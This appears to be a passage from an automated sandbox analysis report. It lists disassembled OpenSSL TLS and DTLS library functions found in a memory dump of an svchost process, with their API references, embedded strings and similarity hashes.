API ID: O_free$X509_$E_freeE_up_refO_mallocO_memdupO_zallocX509_freeY_freeY_up_refmemcpy$O_strdupR_newR_set_debugR_set_errorX509_chain_up_refX509_up_ref
String ID: gfffffff$ssl\ssl_cert.c$ssl_cert_dup
API String ID: 2506476208-2918673968
Opcode ID: b2383af6243f51b575e5486e437ad1ab2c1274e53547ce8655614b89afad1b05
Instruction ID: 471517dbd5c10ff0451a1cd970b1a8ab60496741febf8ac99faae7e24afcfb85
Opcode Fuzzy Hash: b2383af6243f51b575e5486e437ad1ab2c1274e53547ce8655614b89afad1b05
Instruction Fuzzy Hash: 06D140B2B0AB5296EB66DF36E5912AC33A4FB44B84F008136CE5D47765DF38E4A4C341

Function 00007FFBAB4982E7 Relevance: 59.9, APIs: 32, Strings: 2, Instructions: 409COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49D6C4
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49D6DC

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB49D742
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49D74F
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49D767
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49D7D1
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49D7E9
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49D81D
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49D835
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49D8FC
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49D914
memcpy.VCRUNTIME140 ref: 00007FFBAB49D9AC
memcpy.VCRUNTIME140 ref: 00007FFBAB49D9DD
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49DCF1
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49DD06

Strings

tls_process_client_hello, xrefs: 00007FFBAB49D6C9, 00007FFBAB49D754, 00007FFBAB49D7D6, 00007FFBAB49D827, 00007FFBAB49D901, 00007FFBAB49DA4B, 00007FFBAB49DBBB, 00007FFBAB49DCAF
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB49D6D5, 00007FFBAB49D736, 00007FFBAB49D760, 00007FFBAB49D7E2, 00007FFBAB49D82E, 00007FFBAB49D90D, 00007FFBAB49DA52, 00007FFBAB49DB98, 00007FFBAB49DBC2, 00007FFBAB49DCBB, 00007FFBAB49DCE4, 00007FFBAB49DCFC

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_freememcpy$O_zallocR_vset_error
String ID: ssl\statem\statem_srvr.c$tls_process_client_hello
API String ID: 1337932799-2971398671
Opcode ID: e02510164f2f826f8398bc0feb2822620d60f91c3c343bdc9e891f5f2849989e
Instruction ID: 45b4d082d90057504339f08af6f4b221098bbf9e57e97281b861d07e58e7220d
Opcode Fuzzy Hash: e02510164f2f826f8398bc0feb2822620d60f91c3c343bdc9e891f5f2849989e
Instruction Fuzzy Hash: 2B02A2A2A1EA8281EB26DB35D4D12BD6761EB45784F00C131DEBE476F6DE3DE5A4C300

Function 00007FFBAB494460 Relevance: 58.0, APIs: 31, Strings: 2, Instructions: 241COMMON

Download Yara Rule

APIs

EVP_MD_CTX_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4944F7
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB494504
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49451C
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB494573
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4947B8
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4947C4
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4947DC
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB494806
EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49480E

Strings

ssl\statem\statem_lib.c, xrefs: 00007FFBAB494515, 00007FFBAB49466E, 00007FFBAB4946F1, 00007FFBAB49478B, 00007FFBAB4947D5, 00007FFBAB4947FC
tls_construct_cert_verify, xrefs: 00007FFBAB49450E, 00007FFBAB4947CE

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$R_set_debug$O_freeX_freeX_new
String ID: ssl\statem\statem_lib.c$tls_construct_cert_verify
API String ID: 3285935519-1615455696
Opcode ID: 47e8e463115130e5e1af129de5510440e8e6f5e6c7a007c25118c6b62e52d0d8
Instruction ID: 45aa4c198488a6858d3d9aba5ca476b2663c5dc518fa6669ee02ee2dcf8a1dbd
Opcode Fuzzy Hash: 47e8e463115130e5e1af129de5510440e8e6f5e6c7a007c25118c6b62e52d0d8
Instruction Fuzzy Hash: B9A174E1A0E64281FA32D776D8812BE5391EF85B90F14C432EE6D87BF6DE2CE5058741

Function 00007FFBAB49C890 Relevance: 51.0, APIs: 24, Strings: 5, Instructions: 216COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB49DDC8), ref: 00007FFBAB49C8D7
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB49DDC8), ref: 00007FFBAB49C8EF

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB49DDC8), ref: 00007FFBAB49C98A
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB49DDC8), ref: 00007FFBAB49C9A2

Strings

tls-client-version, xrefs: 00007FFBAB49CAA1
tls_process_cke_rsa, xrefs: 00007FFBAB49C8DC, 00007FFBAB49C98F, 00007FFBAB49C9FD, 00007FFBAB49CA4F, 00007FFBAB49CBD2
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB49C8E8, 00007FFBAB49C99B, 00007FFBAB49C9D6, 00007FFBAB49CA09, 00007FFBAB49CA5B, 00007FFBAB49CBD9, 00007FFBAB49CBFF
tls-negotiated-version, xrefs: 00007FFBAB49CAED
0, xrefs: 00007FFBAB49CB7D

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$R_vset_error
String ID: 0$ssl\statem\statem_srvr.c$tls-client-version$tls-negotiated-version$tls_process_cke_rsa
API String ID: 4275876640-318422981
Opcode ID: e82aa647c1e71e8cc646951466d0efac38892dce83f138ac50626a02bed19007
Instruction ID: 46a5b721f58f4c174ae21a51fb70e7dc71e6c3e4fc53744b12b01a03fe905e31
Opcode Fuzzy Hash: e82aa647c1e71e8cc646951466d0efac38892dce83f138ac50626a02bed19007
Instruction Fuzzy Hash: 0FA18EA2A1EA8281E722DB35E4916FD6360FB89784F40C131DEAD576A7DF3CE585C700

Function 00007FFBAB448400 Relevance: 49.2, APIs: 6, Strings: 22, Instructions: 168COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64(02000100,00007FFBAB447837,?,00007FFBAB4496C5,02000100,00007FFBAB44E4EE,?,00007FFBAB450F14), ref: 00007FFBAB4484C8
CRYPTO_free.LIBCRYPTO-3-X64(02000100,00007FFBAB447837,?,00007FFBAB4496C5,02000100,00007FFBAB44E4EE,?,00007FFBAB450F14), ref: 00007FFBAB448503
CRYPTO_free.LIBCRYPTO-3-X64(02000100,00007FFBAB447837,?,00007FFBAB4496C5,02000100,00007FFBAB44E4EE,?,00007FFBAB450F14), ref: 00007FFBAB4485B8
GetCurrentProcessId.KERNEL32(02000100,00007FFBAB447837,?,00007FFBAB4496C5,02000100,00007FFBAB44E4EE,?,00007FFBAB450F14), ref: 00007FFBAB4485F8
OpenSSL_version.LIBCRYPTO-3-X64(?,00007FFBAB4496C5,02000100,00007FFBAB44E4EE,?,00007FFBAB450F14), ref: 00007FFBAB448655
BIO_snprintf.LIBCRYPTO-3-X64(?,00007FFBAB4496C5,02000100,00007FFBAB44E4EE,?,00007FFBAB450F14), ref: 00007FFBAB448673

Strings

JSON-SEQ, xrefs: 00007FFBAB448485
type, xrefs: 00007FFBAB448678
system_info, xrefs: 00007FFBAB4485C1
common_fields, xrefs: 00007FFBAB448523
server, xrefs: 00007FFBAB44868B
0.3, xrefs: 00007FFBAB448467
group_id, xrefs: 00007FFBAB44858C
trace, xrefs: 00007FFBAB44850C
process_id, xrefs: 00007FFBAB4485D8
qlog_version, xrefs: 00007FFBAB448458
vantage_point, xrefs: 00007FFBAB448618
delta, xrefs: 00007FFBAB448549
QUIC, xrefs: 00007FFBAB44856F
client, xrefs: 00007FFBAB448692
time_format, xrefs: 00007FFBAB44853A
qlog_format, xrefs: 00007FFBAB448476
ssl\quic\qlog.c, xrefs: 00007FFBAB4484BB, 00007FFBAB4484F6, 00007FFBAB4485AB
description, xrefs: 00007FFBAB4484D7
OpenSSL/%s (%s), xrefs: 00007FFBAB448662
protocol_type, xrefs: 00007FFBAB448558
title, xrefs: 00007FFBAB44849C
name, xrefs: 00007FFBAB4486A5

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$CurrentL_versionO_snprintfOpenProcess
String ID: 0.3$JSON-SEQ$OpenSSL/%s (%s)$QUIC$client$common_fields$delta$description$group_id$name$process_id$protocol_type$qlog_format$qlog_version$server$ssl\quic\qlog.c$system_info$time_format$title$trace$type$vantage_point
API String ID: 2463599471-1827591402
Opcode ID: c519cb3baef21b79d41f78c8beec8676423318cf7b238a91da5a5e575d69bddf
Instruction ID: b503104ded044e40e96be0cd2157119df4b1ecef55e65afb3caf843b29a9cce8
Opcode Fuzzy Hash: c519cb3baef21b79d41f78c8beec8676423318cf7b238a91da5a5e575d69bddf
Instruction Fuzzy Hash: 6C81EBF1A0E64242F96AEB35D6A22BD6362AF457C0F409031DE6E067B6DF7CE0158351

Function 00007FFBAB472FA0 Relevance: 44.0, APIs: 23, Strings: 2, Instructions: 256COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,00000001,?,00007FFBAB472C46), ref: 00007FFBAB472FFC
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00000001,?,00007FFBAB472C46), ref: 00007FFBAB473014

Part of subcall function 00007FFBAB477530: ERR_vset_error.LIBCRYPTO-3-X64(?,?,00007FFBAB473310,?,00007FFBAB472C46), ref: 00007FFBAB47755E

EVP_CIPHER_CTX_get0_cipher.LIBCRYPTO-3-X64(?,?,?,00000001,?,00007FFBAB472C46), ref: 00007FFBAB473048
EVP_MD_get_size.LIBCRYPTO-3-X64(?,?,?,00000001,?,00007FFBAB472C46), ref: 00007FFBAB473055
ERR_new.LIBCRYPTO-3-X64(?,?,?,00000001,?,00007FFBAB472C46), ref: 00007FFBAB47305F
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00000001,?,00007FFBAB472C46), ref: 00007FFBAB473077

Strings

dtls_process_record, xrefs: 00007FFBAB473001, 00007FFBAB473064, 00007FFBAB4730C3, 00007FFBAB47318D, 00007FFBAB473260, 00007FFBAB4732A4, 00007FFBAB4732E5
ssl\record\methods\dtls_meth.c, xrefs: 00007FFBAB47300D, 00007FFBAB473070, 00007FFBAB4730CF, 00007FFBAB473199, 00007FFBAB47326C, 00007FFBAB4732B0, 00007FFBAB4732F1, 00007FFBAB473389

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$D_get_sizeR_vset_errorX_get0_cipher
String ID: dtls_process_record$ssl\record\methods\dtls_meth.c
API String ID: 755951681-2805733615
Opcode ID: f7ebccd8a760c3d19fd7fbeb7e7855712576345588e8f1dc3867c87ee5accb7b
Instruction ID: 5fbc2c33dac5082b519394046e535596cf08a562be12c67fdec3f3cc0f11561e
Opcode Fuzzy Hash: f7ebccd8a760c3d19fd7fbeb7e7855712576345588e8f1dc3867c87ee5accb7b
Instruction Fuzzy Hash: 6AB170B2A1A68292FB62DB31E4816FD2364FF44B84F408432DE6D57AB5DE38E595C301

Function 00007FFBAB48C7E0 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 206COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB48BAA0: ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48BAED
Part of subcall function 00007FFBAB48BAA0: ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48BB05
Part of subcall function 00007FFBAB48BAA0: OPENSSL_cleanse.LIBCRYPTO-3-X64 ref: 00007FFBAB48BD3D
Part of subcall function 00007FFBAB48BAA0: OPENSSL_cleanse.LIBCRYPTO-3-X64 ref: 00007FFBAB48BD4C
Part of subcall function 00007FFBAB48BAA0: CRYPTO_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB48BD64
Part of subcall function 00007FFBAB48BAA0: CRYPTO_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB48BD7C

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48C889
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48C8B7
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48C8CF

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Part of subcall function 00007FFBAB48B370: ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48B3BC
Part of subcall function 00007FFBAB48B370: ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48B3D4

EVP_PKEY_get1_encoded_public_key.LIBCRYPTO-3-X64 ref: 00007FFBAB48C90E
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48C918
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48C930
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB48C9B2
EVP_PKEY_free.LIBCRYPTO-3-X64 ref: 00007FFBAB48C9BA
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48CB0C
CRYPTO_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB48CB41
CRYPTO_clear_free.LIBCRYPTO-3-X64 ref: 00007FFBAB48CB6F

Strings

tls_construct_cke_ecdhe, xrefs: 00007FFBAB48C88E, 00007FFBAB48C8BC, 00007FFBAB48C91D, 00007FFBAB48C96B
ssl\statem\statem_clnt.c, xrefs: 00007FFBAB48C8C8, 00007FFBAB48C929, 00007FFBAB48C977, 00007FFBAB48C9A5, 00007FFBAB48CA5E, 00007FFBAB48CA7E, 00007FFBAB48CAC3, 00007FFBAB48CB05, 00007FFBAB48CB2D, 00007FFBAB48CB4D
tls_construct_cke_srp, xrefs: 00007FFBAB48CAB7, 00007FFBAB48CADC
tls_construct_client_key_exchange, xrefs: 00007FFBAB48CAF9

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_clear_free$L_cleanse$O_freeR_vset_errorY_freeY_get1_encoded_public_key
String ID: ssl\statem\statem_clnt.c$tls_construct_cke_ecdhe$tls_construct_cke_srp$tls_construct_client_key_exchange
API String ID: 309064216-3169014888
Opcode ID: 40d04c4f977c2e1087b9e7e159e1df514b1a354b1f57408a19e495b6994f3112
Instruction ID: dbd3a98a4eeaa0f47922bcc9584fab9ba2f7848e0bed5aee6d95c19f15a5c548
Opcode Fuzzy Hash: 40d04c4f977c2e1087b9e7e159e1df514b1a354b1f57408a19e495b6994f3112
Instruction Fuzzy Hash: 709181A2A4E68281FA62ABB6E4417F92351EF80BC4F04C032DE6D477B7CE3DE5458351

Function 00007FFBAB4202B0 Relevance: 42.8, APIs: 20, Strings: 4, Instructions: 846stringCOMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB420B26

Part of subcall function 00007FFBAB41EA30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB41EA66
Part of subcall function 00007FFBAB41EA30: ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41EB30
Part of subcall function 00007FFBAB41EA30: ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB41EB48
Part of subcall function 00007FFBAB41EA30: ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB41EB59

CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB420384
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4208E8
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB420C0F
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB420CA3
OPENSSL_sk_new_null.LIBCRYPTO-3-X64 ref: 00007FFBAB420CB8
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB420CD3
OPENSSL_sk_value.LIBCRYPTO-3-X64 ref: 00007FFBAB420CF5
OPENSSL_sk_push.LIBCRYPTO-3-X64 ref: 00007FFBAB420D15
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB420D2E
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFBAB420D36
OPENSSL_sk_delete.LIBCRYPTO-3-X64 ref: 00007FFBAB420D45
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB420D51
OPENSSL_sk_push.LIBCRYPTO-3-X64 ref: 00007FFBAB420D70
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB420D92
OPENSSL_sk_dup.LIBCRYPTO-3-X64 ref: 00007FFBAB420D9A
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFBAB420DB2
OPENSSL_sk_set_cmp_func.LIBCRYPTO-3-X64 ref: 00007FFBAB420DC4
OPENSSL_sk_sort.LIBCRYPTO-3-X64 ref: 00007FFBAB420DCC
OPENSSL_sk_free.LIBCRYPTO-3-X64 ref: 00007FFBAB420DDC

Strings

NTOFDEFAULT, xrefs: 00007FFBAB420B83
DEFAULT, xrefs: 00007FFBAB420BFC
ALL:!COMPLEMENTOFDEFAULT:!eNULL, xrefs: 00007FFBAB420C4E
ssl\ssl_ciph.c, xrefs: 00007FFBAB420373, 00007FFBAB4208DE, 00007FFBAB420B10, 00007FFBAB420C99, 00007FFBAB420D24, 00007FFBAB420D88

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$L_sk_free$L_sk_numL_sk_pushO_mallocstrncmp$L_sk_deleteL_sk_dupL_sk_new_nullL_sk_set_cmp_funcL_sk_sortL_sk_valueR_newR_set_debugR_set_error
String ID: ALL:!COMPLEMENTOFDEFAULT:!eNULL$DEFAULT$NTOFDEFAULT$ssl\ssl_ciph.c
API String ID: 3571880206-2581353747
Opcode ID: 1405fa062426b2b81a248fb0295fe92e2fc98ede5a851c11c0418ba1936b4835
Instruction ID: ea464582a642c6d3e99fe25b203e698eb6afede35ef4e793f969cca06be34102
Opcode Fuzzy Hash: 1405fa062426b2b81a248fb0295fe92e2fc98ede5a851c11c0418ba1936b4835
Instruction Fuzzy Hash: A5727AA2A0AB4581EE6ACF69D0406797BE0FB54B84F64C035DE6D477A0EF3DE981D340

Function 00007FFBAB426A90 Relevance: 42.5, APIs: 20, Strings: 4, Instructions: 486COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426AE2
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426AFA
ERR_set_error.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426B0C
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426B29
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426B41
OPENSSL_sk_num.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426D6B
OPENSSL_sk_num.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426D7F
OPENSSL_sk_new_reserve.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426DB7
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426DC8
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426DE0
ERR_set_error.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426DF1
OPENSSL_sk_value.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426E19
OSSL_PARAM_construct_int.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426F6D
OSSL_PARAM_construct_end.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB426F96
X509_VERIFY_PARAM_get_depth.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB42707D
X509_VERIFY_PARAM_set_depth.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB4270C7
CRYPTO_dup_ex_data.LIBCRYPTO-3-X64(?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB427124
X509_VERIFY_PARAM_inherit.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB427192
OPENSSL_sk_dup.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB4271A3
OPENSSL_sk_dup.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFBAB4134DD), ref: 00007FFBAB4271C4

Strings

read_ahead, xrefs: 00007FFBAB426F5E
SSL_new, xrefs: 00007FFBAB426AE7, 00007FFBAB426B2E
ssl_dane_dup, xrefs: 00007FFBAB426DCD
ssl\ssl_lib.c, xrefs: 00007FFBAB426AF3, 00007FFBAB426B3A, 00007FFBAB426DD9

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugX509_$L_sk_dupL_sk_numR_set_error$L_sk_new_reserveL_sk_valueM_construct_endM_construct_intM_get_depthM_inheritM_set_depthO_dup_ex_data
String ID: SSL_new$read_ahead$ssl\ssl_lib.c$ssl_dane_dup
API String ID: 2291486214-3332040259
Opcode ID: 9278c32fdcb4760945533fc4528d50aab5ecc26abcec242680b99fced4bff74e
Instruction ID: c0c6b5bf84e73a37d2b761e24fdc375c35dc96b9d2e6a37d6027c5f04aefb605
Opcode Fuzzy Hash: 9278c32fdcb4760945533fc4528d50aab5ecc26abcec242680b99fced4bff74e
Instruction Fuzzy Hash: E6225CB2A0A68285FB669F36D4907B933A4FF54B84F048435CE6D477A6DF39E844D700

Function 00007FFBAB496190 Relevance: 42.3, APIs: 22, Strings: 2, Instructions: 275COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB496261
ERR_set_debug.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB496279
CRYPTO_memcmp.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB49629B
ERR_new.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB4962A4
ERR_new.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB4962B4
ERR_new.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB4962C0
ERR_new.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB496368
ERR_set_debug.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB496380
ERR_new.LIBCRYPTO-3-X64(?,00000000,?,?,?,?,?,00007FFBAB48E953), ref: 00007FFBAB496390
